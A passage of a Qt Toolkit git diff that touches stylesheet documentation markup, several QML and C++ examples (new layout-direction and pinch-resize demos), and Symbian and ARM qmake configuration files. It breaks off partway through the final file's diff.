| \tt{rgba(\e{r}, \e{g}, \e{b}, \e{a})} \BR
| \tt{hsv(\e{h}, \e{s}, \e{v})} \BR
@@ -2803,27 +2798,24 @@
\l{http://www.w3.org/TR/CSS21/syndata.html#color-units}{here}.
\row
- \o \bold Font \target Font
+ \o \bold{Font} \target Font
\o (\l{#Font Style}{Font Style} | \l{#Font Weight}{Font Weight}){0,2} \l{#Font Size}{Font Size} String
\o Shorthand font property.
\row
- \o \bold{Font \target Font Size
- Size}
+ \o \bold{Font Size} \target Font Size
\o \l{Length}
\o The size of a font.
\row
- \o \bold{Font \target Font Style
- Style}
+ \o \bold{Font Style} \target Font Style
\o \c normal \BR
| \c italic \BR
| \c oblique
\o The style of a font.
\row
- \o \bold{Font \target Font Weight
- Weight}
+ \o \bold{Font Weight} \target Font Weight
\o \c normal \BR
| \c bold \BR
| \c 100 \BR
@@ -2833,7 +2825,7 @@
\o The weight of a font.
\row
- \o \bold Gradient \target Gradient
+ \o \bold{Gradient} \target Gradient
\o \c qlineargradient \BR
| \c qradialgradient \BR
| \c qconicalgradient
@@ -2863,7 +2855,7 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 85
\row
- \o \bold Icon \target Icon
+ \o \bold{Icon} \target Icon
\o (\l{#Url}{Url} (\c disabled | \c active | \c normal | \c selected)?
(\c on | \c off)? )*
\o A list of url, QIcon::Mode and QIcon::State.
@@ -2872,7 +2864,7 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 86
\row
- \o \bold Length \target Length
+ \o \bold{Length} \target Length
\o \l{#Number}{Number} (\c px | \c pt | \c em | \c ex)?
\o A number followed by a measurement unit. The CSS standard recommends
that user agents must
@@ -2890,13 +2882,13 @@
\endlist
\row
- \o \bold Number \target Number
+ \o \bold{Number} \target Number
\o A decimal integer or a real number
\o Examples: \c 0, \c 18, \c +127, \c -255, \c 12.34, \c -.5,
\c 0009.
\row
- \o \bold Origin \target Origin
+ \o \bold{Origin} \target Origin
\o \c margin \BR
| \c border \BR
| \c padding \BR
@@ -2916,7 +2908,7 @@
See also \l{The Box Model}.
\row
- \o \bold PaletteRole \target PaletteRole
+ \o \bold{PaletteRole} \target PaletteRole
\o \c alternate-base \BR
| \c base \BR
| \c bright-text \BR
@@ -2941,7 +2933,7 @@
\snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 87
\row
- \o \bold Radius \target Radius
+ \o \bold{Radius} \target Radius
\o \l{#Length}{Length}\{1, 2\}
\o One or two occurrences of \l{#Length}{Length}. If only one length is
specified, it is used as the radius of the quarter circle
@@ -2950,7 +2942,7 @@
ellipse, whereas the second length is the vertical radius.
\row
- \o \bold Repeat \target Repeat
+ \o \bold{Repeat} \target Repeat
\o \c repeat-x \BR
| \c repeat-y \BR
| \c repeat \BR
@@ -2965,7 +2957,7 @@
\endlist
\row
- \o \bold Url \target Url
+ \o \bold{Url} \target Url
\o \tt{url(\e{filename})}
\o \tt{\e{filename}} is the name of a file on the local disk
or stored using \l{the Qt Resource System}. Setting an
diff --git a/doc/src/windows-and-dialogs/mainwindow.qdoc b/doc/src/windows-and-dialogs/mainwindow.qdoc
index bf3e3a8..0bf4909 100644
--- a/doc/src/windows-and-dialogs/mainwindow.qdoc
+++ b/doc/src/windows-and-dialogs/mainwindow.qdoc
@@ -37,7 +37,7 @@
\ingroup qt-gui-concepts
A \l{Widgets Tutorial}{widget} that is not embedded in a parent widget is called a window.
- Usually, windows have a frame and a title bar, although it is also possible to create
+ (Usually, windows have a frame and a title bar, although it is also possible to create
windows without such decoration using suitable window flags). In Qt, QMainWindow
and the various subclasses of QDialog are the most common window types.
diff --git a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc
index 478bd64..ad2d702 100644
--- a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc
+++ b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc
@@ -41,9 +41,9 @@
现在您已经编写了一些小型可用的应用程序,并对 Qt 编程有更加广泛的了解。您可以直接着手做自己的项目,但我们建议您阅读以下一些关键简介以加深您对 Qt 的了解:\l{Qt Object Model}Qt 对象模型}和\l{Signals and Slots}{信号和槽}。
- \beginfloatleft
+ \div {float-left}
\inlineimage qtdemo-small.png
- \endfloat
+ \enddiv
\section1 了解概况
diff --git a/examples/declarative/keyinteraction/focus/focus.qml b/examples/declarative/keyinteraction/focus/focus.qml
index 9cb1fef..935db25 100644
--- a/examples/declarative/keyinteraction/focus/focus.qml
+++ b/examples/declarative/keyinteraction/focus/focus.qml
@@ -91,7 +91,7 @@ Rectangle {
MouseArea {
anchors.fill: parent; anchors.margins: -10
- onClicked: window.state = "contextMenuOpen"
+ onClicked: contextMenu.focus = true
}
}
diff --git a/examples/declarative/positioners/Button.qml b/examples/declarative/positioners/addandremove/Button.qml
index 25907c0..25907c0 100644
--- a/examples/declarative/positioners/Button.qml
+++ b/examples/declarative/positioners/addandremove/Button.qml
diff --git a/examples/declarative/positioners/add.png b/examples/declarative/positioners/addandremove/add.png
index 1ee4542..1ee4542 100644
--- a/examples/declarative/positioners/add.png
+++ b/examples/declarative/positioners/addandremove/add.png
Binary files differ
diff --git a/examples/declarative/positioners/positioners.qml b/examples/declarative/positioners/addandremove/addandremove.qml
index 7d6d8fe..7d6d8fe 100644
--- a/examples/declarative/positioners/positioners.qml
+++ b/examples/declarative/positioners/addandremove/addandremove.qml
diff --git a/examples/declarative/positioners/positioners.qmlproject b/examples/declarative/positioners/addandremove/addandremove.qmlproject
index e526217..e526217 100644
--- a/examples/declarative/positioners/positioners.qmlproject
+++ b/examples/declarative/positioners/addandremove/addandremove.qmlproject
diff --git a/examples/declarative/positioners/del.png b/examples/declarative/positioners/addandremove/del.png
index 8d2eaed..8d2eaed 100644
--- a/examples/declarative/positioners/del.png
+++ b/examples/declarative/positioners/addandremove/del.png
Binary files differ
diff --git a/examples/declarative/positioners/layoutdirection/layoutdirection.qml b/examples/declarative/positioners/layoutdirection/layoutdirection.qml
new file mode 100644
index 0000000..3e23b15
--- /dev/null
+++ b/examples/declarative/positioners/layoutdirection/layoutdirection.qml
@@ -0,0 +1,151 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+
+Rectangle {
+
+ width: column.width + 100
+ height: column.height + 100
+ property int direction: Qt.application.layoutDirection
+
+ Column {
+ id: column
+ spacing: 10
+ anchors.centerIn: parent
+ width: 230
+
+ Text {
+ text: "Row"
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Row {
+ layoutDirection: direction
+ spacing: 10
+ move: Transition {
+ NumberAnimation {
+ properties: "x"
+ }
+ }
+ Repeater {
+ model: 4
+ Loader {
+ property int value: index
+ sourceComponent: delegate
+ }
+ }
+ }
+ Text {
+ text: "Grid"
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Grid {
+ layoutDirection: direction
+ spacing: 10; columns: 4
+ move: Transition {
+ NumberAnimation {
+ properties: "x"
+ }
+ }
+ Repeater {
+ model: 11
+ Loader {
+ property int value: index
+ sourceComponent: delegate
+ }
+ }
+ }
+ Text {
+ text: "Flow"
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+ Flow {
+ layoutDirection: direction
+ spacing: 10; width: parent.width
+ move: Transition {
+ NumberAnimation {
+ properties: "x"
+ }
+ }
+ Repeater {
+ model: 10
+ Loader {
+ property int value: index
+ sourceComponent: delegate
+ }
+ }
+ }
+ Rectangle {
+ height: 50; width: parent.width
+ color: mouseArea.pressed ? "black" : "gray"
+ Text {
+ text: direction ? "Right to left" : "Left to right"
+ color: "white"
+ font.pixelSize: 16
+ anchors.centerIn: parent
+ }
+ MouseArea {
+ id: mouseArea
+ onClicked: {
+ if (direction == Qt.LeftToRight) {
+ direction = Qt.RightToLeft;
+ } else {
+ direction = Qt.LeftToRight;
+ }
+ }
+ anchors.fill: parent
+ }
+ }
+ }
+
+ Component {
+ id: delegate
+ Rectangle {
+ width: 50; height: 50
+ color: Qt.rgba(0.8/(parent.value+1),0.8/(parent.value+1),0.8/(parent.value+1),1.0)
+ Text {
+ text: parent.parent.value+1
+ color: "white"
+ font.pixelSize: 20
+ anchors.centerIn: parent
+ }
+ }
+ }
+}
diff --git a/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject b/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject
new file mode 100644
index 0000000..e526217
--- /dev/null
+++ b/examples/declarative/positioners/layoutdirection/layoutdirection.qmlproject
@@ -0,0 +1,18 @@
+/* File generated by QtCreator */
+
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/text/textselection/textselection.qml b/examples/declarative/text/textselection/textselection.qml
index 6db7a85..d02a317 100644
--- a/examples/declarative/text/textselection/textselection.qml
+++ b/examples/declarative/text/textselection/textselection.qml
@@ -265,7 +265,7 @@ Rectangle {
anchors.fill: parent
onClicked: {
edit.cursorPosition = edit.selectionEnd;
- edit.select(edit.cursorPosition, edit.cursorPosition);
+ edit.deselect();
editor.state = ""
}
}
diff --git a/examples/declarative/touchinteraction/pincharea/flickresize.qml b/examples/declarative/touchinteraction/pincharea/flickresize.qml
new file mode 100644
index 0000000..a2f81ff
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/flickresize.qml
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+
+Rectangle {
+ width: 640
+ height: 360
+ color: "gray"
+
+ Flickable {
+ id: flick
+ anchors.fill: parent
+ contentWidth: 500
+ contentHeight: 500
+
+ PinchArea {
+ width: Math.max(flick.contentWidth, flick.width)
+ height: Math.max(flick.contentHeight, flick.height)
+ onPinchUpdated: {
+ // adjust content pos due to drag
+ flick.contentX += pinch.previousCenter.x - pinch.center.x
+ flick.contentY += pinch.previousCenter.y - pinch.center.y
+
+ // resize content
+ var scale = 1.0 + pinch.scale - pinch.previousScale
+ flick.resizeContent(flick.contentWidth * scale, flick.contentHeight * scale, pinch.center)
+ }
+
+ onPinchFinished: {
+ // Move its content within bounds.
+ flick.returnToBounds()
+ }
+
+ Rectangle {
+ width: flick.contentWidth
+ height: flick.contentHeight
+ color: "white"
+ Image {
+ anchors.fill: parent
+ source: "qt-logo.jpg"
+ MouseArea {
+ anchors.fill: parent
+ onDoubleClicked: {
+ flick.contentWidth = 500
+ flick.contentHeight = 500
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/touchinteraction/pincharea/qt-logo.jpg b/examples/declarative/touchinteraction/pincharea/qt-logo.jpg
new file mode 100644
index 0000000..4014b46
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/qt-logo.jpg
Binary files differ
diff --git a/examples/declarative/toys/dynamicscene/dynamicscene.qml b/examples/declarative/toys/dynamicscene/dynamicscene.qml
index cfc4b74..a436b41 100644
--- a/examples/declarative/toys/dynamicscene/dynamicscene.qml
+++ b/examples/declarative/toys/dynamicscene/dynamicscene.qml
@@ -215,9 +215,10 @@ Item {
PropertyChanges { target: stars; opacity: 0 }
}
+ //! [top-level transitions]
transitions: Transition {
PropertyAnimation { duration: 3000 }
ColorAnimation { duration: 3000 }
}
-
+ //! [top-level transitions]
}
diff --git a/examples/declarative/toys/dynamicscene/qml/itemCreation.js b/examples/declarative/toys/dynamicscene/qml/itemCreation.js
index e74f7b0..4ee74c2 100644
--- a/examples/declarative/toys/dynamicscene/qml/itemCreation.js
+++ b/examples/declarative/toys/dynamicscene/qml/itemCreation.js
@@ -28,11 +28,8 @@ function loadComponent() {
function createItem() {
if (itemComponent.status == Component.Ready && draggedItem == null) {
- draggedItem = itemComponent.createObject(window);
- draggedItem.image = paletteItem.image;
- draggedItem.x = posnInWindow.x;
- draggedItem.y = posnInWindow.y;
- draggedItem.z = 3; // make sure created item is above the ground layer
+ draggedItem = itemComponent.createObject(window, {"image": paletteItem.image, "x": posnInWindow.x, "y": posnInWindow.y, "z": 3});
+ // make sure created item is above the ground layer
} else if (itemComponent.status == Component.Error) {
draggedItem = null;
console.log("error creating component");
diff --git a/examples/gestures/imagegestures/imagewidget.cpp b/examples/gestures/imagegestures/imagewidget.cpp
index 12e6216..8bbb965 100644
--- a/examples/gestures/imagegestures/imagewidget.cpp
+++ b/examples/gestures/imagegestures/imagewidget.cpp
@@ -1,3 +1,4 @@
+
/****************************************************************************
**
** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
diff --git a/examples/itemviews/chart/chart.pro b/examples/itemviews/chart/chart.pro
index 53601f4..12f08b9 100644
--- a/examples/itemviews/chart/chart.pro
+++ b/examples/itemviews/chart/chart.pro
@@ -4,7 +4,7 @@ RESOURCES = chart.qrc
SOURCES = main.cpp \
mainwindow.cpp \
pieview.cpp
-unix:!mac:!symbian:!vxworks:LIBS+= -lm
+unix:!mac:!symbian:!vxworks:!integrity:LIBS+= -lm
TARGET.EPOCHEAPSIZE = 0x200000 0x800000
diff --git a/examples/painting/painterpaths/painterpaths.pro b/examples/painting/painterpaths/painterpaths.pro
index 1f42b41..d096fa6 100644
--- a/examples/painting/painterpaths/painterpaths.pro
+++ b/examples/painting/painterpaths/painterpaths.pro
@@ -3,7 +3,7 @@ HEADERS = renderarea.h \
SOURCES = main.cpp \
renderarea.cpp \
window.cpp
-unix:!mac:!symbian:!vxworks:LIBS += -lm
+unix:!mac:!symbian:!vxworks:!integrity:LIBS += -lm
# install
target.path = $$[QT_INSTALL_EXAMPLES]/painting/painterpaths
diff --git a/examples/script/context2d/environment.cpp b/examples/script/context2d/environment.cpp
index 7d6d6f8..e68c1ca 100644
--- a/examples/script/context2d/environment.cpp
+++ b/examples/script/context2d/environment.cpp
@@ -363,6 +363,23 @@ QScriptValue Environment::evaluate(const QString &code, const QString &fileName)
return m_engine->evaluate(code, fileName);
}
+bool Environment::hasIntervalTimers() const
+{
+ return !m_intervalHash.isEmpty();
+}
+
+// This is used by the Context2D QtScript benchmark.
+void Environment::triggerTimers()
+{
+ for (int x = 0; x < 2; ++x) {
+ QList<int> timerIds = x ? m_intervalHash.keys() : m_timeoutHash.keys();
+ for (int i = 0; i < timerIds.size(); ++i) {
+ QTimerEvent fakeEvent(timerIds.at(i));
+ timerEvent(&fakeEvent);
+ }
+ }
+}
+
//! [2]
QScriptValue Environment::toWrapper(QObject *object)
{
diff --git a/examples/script/context2d/environment.h b/examples/script/context2d/environment.h
index dd92e85..221875f 100644
--- a/examples/script/context2d/environment.h
+++ b/examples/script/context2d/environment.h
@@ -78,6 +78,8 @@ public:
//! [0]
QScriptEngine *engine() const;
+ bool hasIntervalTimers() const;
+ void triggerTimers();
//! [1]
public slots:
diff --git a/examples/scroller/plot/main.cpp b/examples/scroller/plot/main.cpp
index 6166505..1e7db64 100644
--- a/examples/scroller/plot/main.cpp
+++ b/examples/scroller/plot/main.cpp
@@ -214,7 +214,7 @@ int main(int argc, char **argv)
else
mw.show();
#if defined(Q_WS_MAC)
- mw->raise();
+ mw.raise();
#endif
return a.exec();
}
diff --git a/examples/scroller/scroller.pro b/examples/scroller/scroller.pro
index e830745..9a9991a 100644
--- a/examples/scroller/scroller.pro
+++ b/examples/scroller/scroller.pro
@@ -1,7 +1,7 @@
TEMPLATE = subdirs
-SUBDIRS = graphicsview \
- plot \
- wheel
+SUBDIRS = graphicsview
+
+contains(QT_CONFIG, webkit):SUBDIRS += plot wheel
# install
sources.files = *.pro
diff --git a/examples/threads/mandelbrot/mandelbrot.pro b/examples/threads/mandelbrot/mandelbrot.pro
index ecbec56..2db886b 100644
--- a/examples/threads/mandelbrot/mandelbrot.pro
+++ b/examples/threads/mandelbrot/mandelbrot.pro
@@ -4,7 +4,7 @@ SOURCES = main.cpp \
mandelbrotwidget.cpp \
renderthread.cpp
-unix:!mac:!symbian:!vxworks:LIBS += -lm
+unix:!mac:!symbian:!vxworks:!integrity:LIBS += -lm
# install
target.path = $$[QT_INSTALL_EXAMPLES]/threads/mandelbrot
diff --git a/examples/tutorials/addressbook/part6/addressbook.cpp b/examples/tutorials/addressbook/part6/addressbook.cpp
index 64615c7..c7dc8e2 100644
--- a/examples/tutorials/addressbook/part6/addressbook.cpp
+++ b/examples/tutorials/addressbook/part6/addressbook.cpp
@@ -74,7 +74,7 @@ AddressBook::AddressBook(QWidget *parent)
//! [tooltip 1]
loadButton->setToolTip(tr("Load contacts from a file"));
//! [tooltip 1]
- saveButton = new QPushButton(tr("Sa&ve..."));
+ saveButton = new QPushButton(tr("&Save..."));
//! [tooltip 2]
saveButton->setToolTip(tr("Save contacts to a file"));
//! [tooltip 2]
diff --git a/examples/tutorials/addressbook/part7/addressbook.cpp b/examples/tutorials/addressbook/part7/addressbook.cpp
index b04198c..501ad31 100644
--- a/examples/tutorials/addressbook/part7/addressbook.cpp
+++ b/examples/tutorials/addressbook/part7/addressbook.cpp
@@ -72,7 +72,7 @@ AddressBook::AddressBook(QWidget *parent)
loadButton = new QPushButton(tr("&Load..."));
loadButton->setToolTip(tr("Load contacts from a file"));
- saveButton = new QPushButton(tr("Sa&ve..."));
+ saveButton = new QPushButton(tr("&Save..."));
saveButton->setToolTip(tr("Save contacts to a file"));
saveButton->setEnabled(false);
diff --git a/mkspecs/common/armcc.conf b/mkspecs/common/armcc.conf
index 2c765bc..4f178d7 100644
--- a/mkspecs/common/armcc.conf
+++ b/mkspecs/common/armcc.conf
@@ -37,5 +37,6 @@ QMAKE_LFLAGS_PLUGIN += $$QMAKE_LFLAGS_SHLIB
QMAKE_LFLAGS_THREAD +=
QMAKE_AR = armar --create
+QMAKE_LIB = armar --create
QMAKE_RANLIB =
diff --git a/mkspecs/common/symbian/symbian-makefile.conf b/mkspecs/common/symbian/symbian-makefile.conf
index 9dc3674..cffc859 100644
--- a/mkspecs/common/symbian/symbian-makefile.conf
+++ b/mkspecs/common/symbian/symbian-makefile.conf
@@ -2,7 +2,11 @@
# qmake configuration for makefile based symbian
#
-MAKEFILE_GENERATOR = SYMBIAN_UNIX
+contains(QMAKE_HOST.os,Windows) {
+ MAKEFILE_GENERATOR = SYMBIAN_MINGW
+} else {
+ MAKEFILE_GENERATOR = SYMBIAN_UNIX
+}
include(symbian.conf)
@@ -19,20 +23,23 @@ QMAKE_ELF2E32_FLAGS = --dlldata \
--compressionmethod bytepair \
--unpaged
-include(../../common/unix.conf)
-
QMAKE_PREFIX_SHLIB =
-QMAKE_EXTENSION_SHLIB = dll
CONFIG *= no_plugin_name_prefix
-QMAKE_EXTENSION_PLUGIN = dll
QMAKE_PREFIX_STATICLIB =
-QMAKE_EXTENSION_STATICLIB = lib
QMAKE_SYMBIAN_SHLIB = 1
+QMAKE_LINK_OBJECT_SCRIPT = objects
+
is_using_gnupoc {
- DEFINES *= __PRODUCT_INCLUDE__=\"<$${EPOCROOT}epoc32/include/variant/symbian_os.hrh>\"
-} else {
- DEFINES *= __PRODUCT_INCLUDE__=\"<$${EPOCROOT}epoc32/include/variant/Symbian_OS.hrh>\"
+ DEFINES *= __QT_PRODUCT_INCLUDE_IS_LOWERCASE__
+}
+QMAKE_SYMBIAN_INCLUDES = $$[QT_INSTALL_DATA]/mkspecs/common/symbian/symbianincludes.h
+symbian-armcc {
+ QMAKE_CFLAGS += --preinclude $$QMAKE_SYMBIAN_INCLUDES
+ QMAKE_CXXFLAGS += --preinclude $$QMAKE_SYMBIAN_INCLUDES
+} else:symbian-gcce {
+ QMAKE_CFLAGS += -include $$QMAKE_SYMBIAN_INCLUDES
+ QMAKE_CXXFLAGS += -include $$QMAKE_SYMBIAN_INCLUDES
}
DEFINES *= \
__SYMBIAN32__ \
diff --git a/mkspecs/common/symbian/symbian-mmp.conf b/mkspecs/common/symbian/symbian-mmp.conf
index 4d554bd..8ed326a 100644
--- a/mkspecs/common/symbian/symbian-mmp.conf
+++ b/mkspecs/common/symbian/symbian-mmp.conf
@@ -13,7 +13,7 @@ symbian-abld {
} else {
MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA = "OPTION_REPLACE ARMCC --export_all_vtbl // don't use --export_all_vtbl"
}
-MMP_RULES += PAGED BYTEPAIRCOMPRESSTARGET
+MMP_RULES += BYTEPAIRCOMPRESSTARGET
MMP_RULES += $$MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA
SYMBIAN_PLATFORMS = WINSCW GCCE ARMV5 ARMV6
@@ -28,7 +28,8 @@ INCLUDEPATH = \
# RVCT seems to do this automatically, but WINSCW compiler does not, so add it here.
MMP_RULES += "USERINCLUDE ."
-contains(S60_VERSION, 3.1):MMP_RULES -= PAGED BYTEPAIRCOMPRESSTARGET
+# S60 3.1 devices don't support paging for non-ROM components, so no point in using the less efficient compression mechanism
+contains(S60_VERSION, 3.1):MMP_RULES -= BYTEPAIRCOMPRESSTARGET
QMAKE_CXXFLAGS_FAST_VFP.ARMCC = --fpmode fast
# [TODO] QMAKE_CXXFLAGS_FAST_VFP.GCCE =
diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf
index 8f87d4c..63db511 100644
--- a/mkspecs/common/symbian/symbian.conf
+++ b/mkspecs/common/symbian/symbian.conf
@@ -13,6 +13,9 @@ QMAKE_COMPILER_DEFINES += SYMBIAN
QMAKE_EXT_OBJ = .o
QMAKE_EXT_RES = _res.o
+QMAKE_EXTENSION_SHLIB = dll
+QMAKE_EXTENSION_PLUGIN = dll
+QMAKE_EXTENSION_STATICLIB = lib
QMAKE_LEX = flex
QMAKE_LEXFLAGS =
@@ -67,16 +70,17 @@ QMAKE_LINK_OBJECT_SCRIPT=
QMAKE_LIBS = -llibc -llibm -leuser -llibdl
QMAKE_LIBS_CORE = $$QMAKE_LIBS -lefsrv -lhal -lbafl -lapparc
-QMAKE_LIBS_GUI = $$QMAKE_LIBS_CORE -lfbscli -lbitgdi -lgdi -lws32 -lapgrfx -lcone -leikcore -lmediaclientaudio -lcentralrepository
+QMAKE_LIBS_CFBSBITMAP = -lfbscli -lbitgdi -lgdi
+QMAKE_LIBS_GUI = $$QMAKE_LIBS_CORE $$QMAKE_LIBS_CFBSBITMAP -lws32 -lapgrfx -lcone -leikcore -lmediaclientaudio -lcentralrepository
QMAKE_LIBS_NETWORK =
QMAKE_LIBS_EGL = -llibEGL
QMAKE_LIBS_OPENGL = -llibGLESv2
QMAKE_LIBS_OPENGL_ES1 = -llibGLESv1_CM
QMAKE_LIBS_OPENGL_ES2 = -llibGLESv2
-QMAKE_LIBS_OPENGL_QT = -llibGLESv2 -lcone -lws32
-QMAKE_LIBS_OPENGL_ES1_QT = -llibGLESv1_CM -lcone -lws32
-QMAKE_LIBS_OPENGL_ES2_QT = -llibGLESv2 -lcone -lws32
-QMAKE_LIBS_OPENVG = -llibOpenVG -lfbscli -lbitgdi -lgdi
+QMAKE_LIBS_OPENGL_QT = $$QMAKE_LIBS_OPENGL $$QMAKE_LIBS_CFBSBITMAP -lcone -lws32
+QMAKE_LIBS_OPENGL_ES1_QT = $$QMAKE_LIBS_OPENGL_ES1 $$QMAKE_LIBS_CFBSBITMAP -lcone -lws32
+QMAKE_LIBS_OPENGL_ES2_QT = $$QMAKE_LIBS_OPENGL_ES2 $$QMAKE_LIBS_CFBSBITMAP -lcone -lws32
+QMAKE_LIBS_OPENVG = $$QMAKE_LIBS_CFBSBITMAP -llibOpenVG
QMAKE_LIBS_THREAD = -llibpthread
QMAKE_LIBS_COMPAT =
QMAKE_LIBS_S60 = -lavkon -leikcoctl
@@ -114,11 +118,11 @@ contains(QMAKE_HOST.os,Windows) {
}
QMAKE_IDL = midl
-QMAKE_LIB = ar -ru
-QMAKE_RC = windres
QMAKE_ZIP = zip -r -9
QMAKE_UNZIP = unzip -o
+QMAKE_WRITE_DEFAULT_RC = 1
+
QMAKE_TAR = tar -cf
QMAKE_GZIP = gzip -9f
@@ -212,19 +216,14 @@ default_deployment.pkg_prerules += pkg_depends_webkit pkg_depends_qt pkg_platfor
DEPLOYMENT += default_deployment default_bin_deployment default_resource_deployment default_reg_deployment
defineReplace(symbianRemoveSpecialCharacters) {
- # Produce identical string to what SymbianCommonGenerator::removeSpecialCharacters and
- # SymbianCommonGenerator::removeEpocSpecialCharacters produce
+ # Produce identical string to what SymbianCommonGenerator::removeSpecialCharacters
fixedStr = $$1
fixedStr = $$replace(fixedStr, /,_)
fixedStr = $$replace(fixedStr, \\\\,_)
fixedStr = $$replace(fixedStr, " ",_)
- symbian-abld|symbian-sbsv2 {
- fixedStr = $$replace(fixedStr, -,_)
- fixedStr = $$replace(fixedStr, \\.,_)
- fixedStr = $$replace(fixedStr, :,_)
- }
+ fixedStr = $$replace(fixedStr, :,_)
return ($$fixedStr)
}
@@ -240,7 +239,7 @@ defineTest(matchSymbianLanguages) {
language = $$replace(translation, "^(.*/)?[^/]+_(([^_]{2,3}_)?[^_]{2,3})\\.ts$", \\2)
contains(SYMBIAN_SUPPORTED_LANGUAGES, $$language) {
SYMBIAN_MATCHED_LANGUAGES += $$language
- SYMBIAN_MATCHED_TRANSLATIONS += $$translation
+ SYMBIAN_MATCHED_TRANSLATIONS += $$_PRO_FILE_PWD_/$$translation
}
}
diff --git a/tools/qdoc3/apigenerator.h b/mkspecs/common/symbian/symbianincludes.h
index c2dbde1..5d7f488 100644
--- a/tools/qdoc3/apigenerator.h
+++ b/mkspecs/common/symbian/symbianincludes.h
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the mkspecs of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,27 +39,20 @@
**
****************************************************************************/
